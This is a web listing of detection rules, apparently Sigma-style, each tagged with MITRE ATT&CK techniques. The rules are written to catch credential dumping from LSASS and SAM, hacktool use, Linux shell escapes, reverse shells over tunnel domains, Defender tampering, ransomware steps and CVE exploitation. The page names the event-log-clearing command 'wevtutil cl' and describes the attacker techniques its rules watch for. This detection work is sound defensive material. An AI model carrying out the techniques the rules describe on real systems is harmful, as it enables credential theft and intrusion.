Oct 1, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·

Share on:

Detects process access requests from hacktool processes based on their default image name

HackTool - WinPwn Execution

Oct 1, 2024 · attack.credential-access attack.defense-evasion attack.discovery attack.execution attack.privilege-escalation attack.t1046 attack.t1082 attack.t1106 attack.t1518 attack.t1548.002 attack.t1552.001 attack.t1555 attack.t1555.003 ·

Share on:

Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

HackTool - WinPwn Execution - ScriptBlock

Oct 1, 2024 · attack.credential-access attack.defense-evasion attack.discovery attack.execution attack.privilege-escalation attack.t1046 attack.t1082 attack.t1106 attack.t1518 attack.t1548.002 attack.t1552.001 attack.t1555 attack.t1555.003 ·

Share on:

Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

Important Windows Eventlog Cleared

Oct 1, 2024 · attack.defense-evasion attack.t1070.001 car.2016-04-002 ·

Share on:

Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution

Lace Tempest Cobalt Strike Download

Oct 1, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects specific command line execution used by Lace Tempest to download Cobalt Strike as reported by SysAid Team

Lace Tempest File Indicators

Oct 1, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects PowerShell script file creation with specific names or suffixes which was seen being used often in PowerShell scripts by FIN7

Lace Tempest Malware Loader Execution

Oct 1, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects execution of a specific binary based on filename and hash used by Lace Tempest to load additional malware as reported by SysAid Team

Lace Tempest PowerShell Evidence Eraser

Oct 1, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·

Share on:

Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team

Lace Tempest PowerShell Launcher

Oct 1, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·

Share on:

Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team

Load Of RstrtMgr.DLL By A Suspicious Process

Oct 1, 2024 · attack.impact attack.defense-evasion attack.t1486 attack.t1562.001 ·

Share on:

Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

Load Of RstrtMgr.DLL By An Uncommon Process

Oct 1, 2024 · attack.impact attack.defense-evasion attack.t1486 attack.t1562.001 ·

Share on:

Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

Malicious Driver Load

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·

Share on:

Detects loading of known malicious drivers via their hash.

Malicious Driver Load By Name

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·

Share on:

Detects loading of known malicious drivers via the file name of the drivers.

Network Connection Initiated To DevTunnels Domain

Oct 1, 2024 · attack.exfiltration attack.t1567.001 ·

Share on:

Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Network Connection Initiated To Visual Studio Code Tunnels Domain

Oct 1, 2024 · attack.exfiltration attack.t1567.001 ·

Share on:

Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

New Netsh Helper DLL Registered From A Suspicious Location

Oct 1, 2024 · attack.persistence attack.t1546.007 ·

Share on:

Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper

Permission Misconfiguration Reconnaissance Via Findstr.EXE

Oct 1, 2024 · attack.credential-access attack.t1552.006 ·

Share on:

Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This was seen being used in combination with "icacls" and other utilities to spot misconfigured files or folders permissions.

Portable Gpg.EXE Execution

Oct 1, 2024 · attack.impact attack.t1486 ·

Share on:

Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.

Potential CVE-2023-46214 Exploitation Attempt

Oct 1, 2024 · attack.lateral-movement attack.t1210 cve.2023-46214 detection.emerging-threats ·

Share on:

Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing

Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp

Oct 1, 2024 · attack.t1021.003 attack.lateral-movement ·

Share on:

Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.

Potential File Download Via MS-AppInstaller Protocol Handler

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache<RANDOM-8-CHAR-DIRECTORY>"

Potential Linux Process Code Injection Via DD Utility

Oct 1, 2024 · attack.defense-evasion attack.t1055.009 ·

Share on:

Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.

Potential Persistence Via Netsh Helper DLL - Registry

Oct 1, 2024 · attack.persistence attack.t1546.007 ·

Share on:

Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper

Potential Process Hollowing Activity

Oct 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.012 ·

Share on:

Detects when a memory process image does not match the disk image, indicative of process hollowing.

Potentially Suspicious Electron Application CommandLine

Oct 1, 2024 · attack.execution ·

Share on:

Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.

Potentially Suspicious GrantedAccess Flags On LSASS

Oct 1, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·

Share on:

Detects process access requests to LSASS process with potentially suspicious access flags

PowerShell Execution With Potential Decryption Capabilities

Oct 1, 2024 · attack.execution ·

Share on:

Detects PowerShell commands that decrypt an ".LNK" "file to drop the next stage of the malware.

Process Proxy Execution Via Squirrel.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

Remote Thread Creation Via PowerShell In Uncommon Target

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218.011 attack.t1059.001 ·

Share on:

Detects the creation of a remote thread from a Powershell process in an uncommon target process

Remote XSL Execution Via Msxsl.EXE

Oct 1, 2024 · attack.defense-evasion attack.t1220 ·

Share on:

Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.

Security Tools Keyword Lookup Via Findstr.EXE

Oct 1, 2024 · attack.discovery attack.t1518.001 ·

Share on:

Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.

Suspicious Chromium Browser Instance Executed With Custom Extension

Oct 1, 2024 · attack.persistence attack.t1176 ·

Share on:

Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension

Suspicious Path In Keyboard Layout IME File Registry Value

Oct 1, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

Suspicious Shim Database Patching Activity

Oct 1, 2024 · attack.persistence attack.t1546.011 ·

Share on:

Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.

Uncommon Extension In Keyboard Layout IME File Registry Value

Oct 1, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

Unusual Parent Process For Cmd.EXE

Oct 1, 2024 · attack.execution attack.t1059 ·

Share on:

Detects suspicious parent process for cmd.exe

Vulnerable Driver Load

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·

Share on:

Detects loading of known vulnerable drivers via their hash.

Vulnerable Driver Load By Name

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·

Share on:

Detects the load of known vulnerable drivers via the file name of the drivers.

Whoami.EXE Execution From Privileged Process

Oct 1, 2024 · attack.privilege-escalation attack.discovery attack.t1033 ·

Share on:

Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors

Whoami.EXE Execution With Output Option

Oct 1, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·

Share on:

Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use.

Linux HackTool Execution

Sep 22, 2024 · attack.execution attack.resource-development attack.t1587 ·

Share on:

Detects known hacktool execution based on image name.

Linux Network Service Scanning Tools Execution

Sep 22, 2024 · attack.discovery attack.t1046 ·

Share on:

Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.

Remote Access Tool - MeshAgent Command Execution via MeshCentral

Sep 22, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.

Windows Defender Exclusion Registry Key - Write Access Requested

Sep 22, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.

Windows Defender Real-time Protection Disabled

Sep 22, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment

Detect MeshAgent Command Execution via MeshCentral

Sep 21, 2024 · attack.command_and_control attack.t1219 ·

Share on:

Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.

Search for Antivirus process

Sep 20, 2024 ·

Share on:

Search for Antivirus process

Network Connection Initiated To BTunnels Domains

Sep 13, 2024 · attack.exfiltration attack.t1567.001 ·

Share on:

Detects network connections to BTunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

PwnKit Local Privilege Escalation

Sep 13, 2024 · attack.privilege-escalation attack.t1548.001 ·

Share on:

Detects potential PwnKit exploitation CVE-2021-4034 in auth logs

UNC2452 Process Creation Patterns

Sep 13, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·

Share on:

Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries

CVE-2021-1675 Print Spooler Exploitation Filename Pattern

Sep 13, 2024 · attack.execution attack.privilege-escalation attack.resource-development attack.t1587 cve.2021-1675 detection.emerging-threats ·

Share on:

Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675

HackTool - DInjector PowerShell Cradle Execution

Sep 13, 2024 · attack.defense-evasion attack.t1055 ·

Share on:

Detects the use of the Dinject PowerShell cradle based on the specific flags

InstallerFileTakeOver LPE CVE-2021-41379 File Create Event

Sep 13, 2024 · attack.privilege-escalation attack.t1068 detection.emerging-threats ·

Share on:

Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file

LPE InstallerFileTakeOver PoC CVE-2021-41379

Sep 13, 2024 · attack.initial-access attack.t1190 detection.emerging-threats ·

Share on:

Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379

Possible CVE-2021-1675 Print Spooler Exploitation

Sep 13, 2024 · attack.execution attack.t1569 cve.2021-1675 detection.emerging-threats ·

Share on:

Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675

Potential PrintNightmare Exploitation Attempt

Sep 13, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574 cve.2021-1675 ·

Share on:

Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675

Potential RDP Exploit CVE-2019-0708

Sep 13, 2024 · attack.lateral-movement attack.t1210 car.2013-07-002 ·

Share on:

Detect suspicious error on protocol RDP, potential CVE-2019-0708

Potential SAM Database Dump

Sep 13, 2024 · attack.credential-access attack.t1003.002 ·

Share on:

Detects the creation of files that look like exports of the local SAM (Security Account Manager)

Scanner PoC for CVE-2019-0708 RDP RCE Vuln

Sep 13, 2024 · attack.lateral-movement attack.t1210 car.2013-07-002 ·

Share on:

Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep

Suspicious Rejected SMB Guest Logon From IP

Sep 13, 2024 · attack.credential-access attack.t1110.001 ·

Share on:

Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service

Windows Spooler Service Suspicious Binary Load

Sep 13, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574 cve.2021-1675 cve.2021-34527 ·

Share on:

Detect DLL Load from Spooler Service backup folder

Cicada Ransomware PSExec File Creation

Sep 9, 2024 · attack.lateral-movement attack.execution attack.t1570 attack.t1569 attack.t1569.002 attack.s0029 ·

Share on:

Detects creation of a lightly-renamed PSExec file in C:\Users\Public, as observed in the Cicada3301 Ransomware report from MorphiSec.

Cicada3301 Ransomware Execution via PSExec

Sep 9, 2024 · attack.execution attack.t1569 attack.t1569.002 attack.s0029 ·

Share on:

Detects the use of a potentially-renamed psexec to run the Cicada3301 ransomware tool.

Hyper-V Virtual Machine Discovery Shutdown via Powershell Cmdlets

Sep 9, 2024 · attack.defense-evasion attack.impact attack.t1578 attack.t1578.003 attack.t1529 ·

Share on:

Detects powershell process used to find and shut down local Hyper-V VMs using the Stop-VM cmdlet, as documented in the 2024 Morphisec report on Cicada3301 ransomware.

IISReset Used to Stop IIS Services

Sep 9, 2024 · attack.impact attack.defense-evasion attack.t1562 attack.t1562.001 attack.t1529 ·

Share on:

Detects the use of the iisreset.exe utility to stop IIS web services. This is used to prevent users from accessing IIS web resources, thereby releasing/preventing locks which could inhibit ransomware-related encryption.

Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image

Sep 6, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Potential Defense Evasion Via Right-to-Left Override

Sep 6, 2024 · attack.defense-evasion attack.t1036.002 ·

Share on:

Detects the presence of the "u202+E" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.

Startup/Logon Script Added to Group Policy Object

Sep 6, 2024 · attack.privilege-escalation attack.t1484.001 attack.t1547 ·

Share on:

Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects.

Persistence and Execution at Scale via GPO Scheduled Task

Sep 6, 2024 · attack.persistence attack.lateral-movement attack.t1053.005 ·

Share on:

Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale

Group Policy Abuse for Privilege Addition

Sep 6, 2024 · attack.privilege-escalation attack.t1484.001 ·

Share on:

Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.

Process Deletion of Its Own Executable

Sep 3, 2024 · attack.defense-evasion ·

Share on:

Detects the deletion of a process's executable by itself. This is usually not possible without workarounds and may be used by malware to hide its traces.

Dism Remove Online Package

Sep 3, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

PowerShell Web Access Feature Enabled Via DISM

Sep 3, 2024 · attack.persistence attack.t1548.002 ·

Share on:

Detects the use of DISM to enable the PowerShell Web Access feature, which could be used for remote access and potential abuse

PowerShell Web Access Installation - PsScript

Sep 3, 2024 · attack.persistence attack.t1059.001 ·

Share on:

Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse

Capsh Shell Invocation - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·

Share on:

Detects the use of the "capsh" utility to invoke a shell.

Inline Python Execution - Spawn Shell Via OS System Library

Sep 2, 2024 · attack.execution attack.t1059 ·

Share on:

Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.

Shell Execution GCC - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Shell Execution via Find - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.

Shell Execution via Flock - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Shell Execution via Git - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·

Share on:

Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Shell Execution via Nice - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Shell Invocation via Apt - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Shell Invocation via Env Command - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·

Share on:

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

Shell Invocation Via Ssh - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·

Share on:

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Suspicious Invocation of Shell via AWK - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·

Share on:

Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

Vim GTFOBin Abuse - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

AWS S3 Bucket Versioning Disable

Sep 2, 2024 · attack.impact attack.t1490 ·

Share on:

Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.

Certificate Use With No Strong Mapping

Sep 2, 2024 · attack.privilege-escalation ·

Share on:

Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.

ChromeLoader Malware Execution

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 attack.t1176 detection.emerging-threats ·

Share on:

Detects execution of ChromeLoader malware via a registered scheduled task

DarkGate - Autoit3.EXE Execution Parameters

Sep 2, 2024 · attack.execution attack.t1059 detection.emerging-threats ·

Share on:

Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.

DarkGate - Autoit3.EXE File Creation By Uncommon Process

Sep 2, 2024 · attack.command-and-control attack.execution attack.t1105 attack.t1059 detection.emerging-threats ·

Share on:

Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.

DarkGate - User Created Via Net.EXE

Sep 2, 2024 · attack.persistence attack.t1136.001 detection.emerging-threats ·

Share on:

Detects creation of local users via the net.exe command with the name of "DarkGate"

Diamond Sleet APT DLL Sideloading Indicators

Sep 2, 2024 · attack.defense-evasion attack.t1574.002 detection.emerging-threats ·

Share on:

Detects DLL sideloading activity seen used by Diamond Sleet APT

Diamond Sleet APT DNS Communication Indicators

Sep 2, 2024 · attack.command-and-control detection.emerging-threats ·

Share on:

Detects DNS queries related to Diamond Sleet APT activity

Diamond Sleet APT File Creation Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects file creation activity that is related to Diamond Sleet APT activity

Diamond Sleet APT Process Activity Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects process creation activity indicators related to Diamond Sleet APT

Diamond Sleet APT Scheduled Task Creation

Sep 2, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 detection.emerging-threats ·

Share on:

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

Diamond Sleet APT Scheduled Task Creation - Registry

Sep 2, 2024 · attack.defense-evasion attack.t1562 detection.emerging-threats ·

Share on:

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback

Sep 2, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.

Exploitation Indicators Of CVE-2023-20198

Sep 2, 2024 · attack.privilege-escalation attack.initial-access detection.emerging-threats ·

Share on:

Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI.

File Download From IP Based URL Via CertOC.EXE

Sep 2, 2024 · attack.command-and-control attack.execution attack.t1105 ·

Share on:

Detects when a user downloads a file from an IP based URL using CertOC.exe

File Download From IP URL Via Curl.EXE

Sep 2, 2024 · attack.execution ·

Share on:

Detects file downloads directly from IP address URL using curl.exe

HackTool - CoercedPotato Named Pipe Creation

Sep 2, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·

Share on:

Detects the pattern of a pipe name as used by the hack tool CoercedPotato

Injected Browser Process Spawning Rundll32 - GuLoader Activity

Sep 2, 2024 · attack.defense-evasion attack.t1055 detection.emerging-threats ·

Share on:

Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process.

Kerberoasting Activity - Initial Query

Sep 2, 2024 · attack.credential-access attack.t1558.003 ·

Share on:

This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert.

Lazarus APT DLL Sideloading Activity

Sep 2, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 attack.g0032 detection.emerging-threats ·

Share on:

Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company

LSASS Process Memory Dump Creation Via Taskmgr.EXE

Sep 2, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.

New Okta User Created

Sep 2, 2024 · attack.credential-access ·

Share on:

Detects new user account creation

Obfuscated IP Via CLI

Sep 2, 2024 · attack.discovery ·

Share on:

Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line

Okta 2023 Breach Indicator Of Compromise

Sep 2, 2024 · attack.credential-access detection.emerging-threats ·

Share on:

Detects new user account creation or activation with specific names related to the Okta Support System 2023 breach. This rule can be enhanced by filtering out known and legitimate username used in your environnement.

Okta Admin Functions Access Through Proxy

Sep 2, 2024 · attack.credential-access ·

Share on:

Detects access to Okta admin functions through proxy.

OneNote.EXE Execution of Malicious Embedded Scripts

Sep 2, 2024 · attack.defense-evasion attack.t1218.001 ·

Share on:

Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.

Onyx Sleet APT File Creation Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects file creation activity that is related to Onyx Sleet APT activity

Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon

Sep 2, 2024 · attack.initial-access attack.t1190 cve.2021-44228 detection.emerging-threats ·

Share on:

Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j.

Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution

Sep 2, 2024 · attack.execution attack.initial-access attack.t1059.006 attack.t1190 cve.2022-22954 detection.emerging-threats ·

Share on:

Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.

Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader

Sep 2, 2024 · attack.persistence attack.t1505.001 cve.2023-27363 detection.emerging-threats ·

Share on:

Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation.

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream

Sep 2, 2024 · attack.defense-evasion attack.t1564.004 ·

Share on:

Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI

Sep 2, 2024 · attack.defense-evasion attack.t1564.004 ·

Share on:

Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe"

Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy

Sep 2, 2024 · attack.initial-access attack.t1190 cve.2023-43621 detection.emerging-threats ·

Share on:

Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs.

Potential Information Disclosure CVE-2023-43261 Exploitation - Web

Sep 2, 2024 · attack.initial-access attack.t1190 cve.2023-43621 detection.emerging-threats ·

Share on:

Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs.

Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE

Sep 2, 2024 · attack.execution attack.t1059 cve.2023-34362 detection.emerging-threats ·

Share on:

Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files.

MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\([a-z0-9]{5,12})\([a-z0-9]{5,12})\App_Web_[a-z0-9]{5,12}.dll.

Hunting Opportunity

Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.

Potential Okta Password in AlternateID Field

Sep 2, 2024 · attack.credential-access attack.t1552 ·

Share on:

Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.

Potentially Suspicious Child Process Of VsCode

Sep 2, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·

Share on:

Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.

Potentially Suspicious Office Document Executed From Trusted Location

Sep 2, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.

PowerShell Module File Created By Non-PowerShell Process

Sep 2, 2024 · attack.persistence ·

Share on:

Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc. by a non-PowerShell process

PowerShell Script Execution Policy Enabled

Sep 2, 2024 · attack.execution ·

Share on:

Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.

Python Function Execution Security Warning Disabled In Excel

Sep 2, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

